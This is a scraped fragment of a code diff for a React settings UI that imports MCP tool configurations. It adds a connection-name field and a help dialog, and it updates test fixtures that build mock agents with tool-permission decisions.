|
||||
<div className="space-y-5">
|
||||
<p className="max-w-2xl text-sm text-muted-foreground">
|
||||
Paste the MCP config snippet from the tool's README and we'll turn it into a friendly setup.
|
||||
</p>
|
||||
<div className="flex max-w-2xl items-start gap-1.5">
|
||||
<p className="text-sm text-muted-foreground">
|
||||
Paste the MCP config snippet from the tool's README and we'll turn it into a friendly setup.
|
||||
</p>
|
||||
<McpConfigHelpDialog />
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
Just a URL?{" "}
|
||||
<Link to="/apps" className="text-primary hover:underline">
|
||||
|
|
@ -225,6 +314,10 @@ export function PasteConfigTab({ companyId }: { companyId: string }) {
|
|||
<DraftCard
|
||||
key={`${draft.name}-${index}`}
|
||||
draft={draft}
|
||||
connectionName={connectionNames[draft.name] ?? draft.name}
|
||||
onConnectionNameChange={(value) =>
|
||||
setConnectionNames((previous) => ({ ...previous, [draft.name]: value }))
|
||||
}
|
||||
credentialValues={credentialValues}
|
||||
onCredentialChange={(configPath, value) =>
|
||||
setCredentialValues((prev) => ({ ...prev, [credentialValueKey(draft, configPath)]: value }))
|
||||
|
|
@ -275,6 +368,8 @@ export function PasteConfigTab({ companyId }: { companyId: string }) {
|
|||
|
||||
function DraftCard({
|
||||
draft,
|
||||
connectionName,
|
||||
onConnectionNameChange,
|
||||
credentialValues,
|
||||
onCredentialChange,
|
||||
checking,
|
||||
|
|
@ -282,6 +377,8 @@ function DraftCard({
|
|||
onCheck,
|
||||
}: {
|
||||
draft: McpJsonImportDraft;
|
||||
connectionName: string;
|
||||
onConnectionNameChange: (value: string) => void;
|
||||
credentialValues: Record<string, string>;
|
||||
onCredentialChange: (configPath: string, value: string) => void;
|
||||
checking: boolean;
|
||||
|
|
@ -303,6 +400,18 @@ function DraftCard({
|
|||
) : null}
|
||||
</div>
|
||||
|
||||
{onCheck ? (
|
||||
<label className="mt-4 block max-w-sm space-y-1 text-xs font-medium text-foreground">
|
||||
Connection name
|
||||
<Input
|
||||
value={connectionName}
|
||||
onChange={(event) => onConnectionNameChange(event.target.value)}
|
||||
placeholder={draft.name}
|
||||
className="h-8 text-xs"
|
||||
/>
|
||||
</label>
|
||||
) : null}
|
||||
|
||||
{draft.credentialFields.length > 0 ? (
|
||||
<div className="mt-4 space-y-3">
|
||||
{draft.credentialFields.map((field) => (
|
||||
|
|
|
|||
|
|
@ -128,7 +128,12 @@ const DECISIONS: Record<string, ToolConnectionTestDecision> = {
|
|||
delete_row: "off",
|
||||
};
|
||||
|
||||
function buildAgent(id: string, name: string, decisions: Record<string, ToolConnectionTestDecision>): ToolConnectionTestAgent {
|
||||
function buildAgent(
|
||||
id: string,
|
||||
name: string,
|
||||
decisions: Record<string, ToolConnectionTestDecision>,
|
||||
orgDepth = 1,
|
||||
): ToolConnectionTestAgent {
|
||||
const tools = CATALOG.map((entry) => decisionTool(entry, decisions[entry.toolName]));
|
||||
return {
|
||||
id,
|
||||
|
|
@ -136,6 +141,7 @@ function buildAgent(id: string, name: string, decisions: Record<string, ToolConn
|
|||
role: "engineer",
|
||||
title: "Engineer",
|
||||
status: "active",
|
||||
orgDepth,
|
||||
effectiveAccess: {
|
||||
connectionId: CONNECTION,
|
||||
toolCount: tools.length,
|
||||
|
|
@ -151,7 +157,7 @@ function buildAgent(id: string, name: string, decisions: Record<string, ToolConn
|
|||
}
|
||||
|
||||
const AGENTS: ToolConnectionTestAgent[] = [
|
||||
buildAgent("agent-claude", "ClaudeCoder", DECISIONS),
|
||||
buildAgent("agent-claude", "ClaudeCoder", DECISIONS, 0),
|
||||
buildAgent("agent-codex", "CodexCoder", {
|
||||
...DECISIONS,
|
||||
create_sheet: "ask_first",
|
||||
|
|
|
|||
Loading…
Reference in New Issue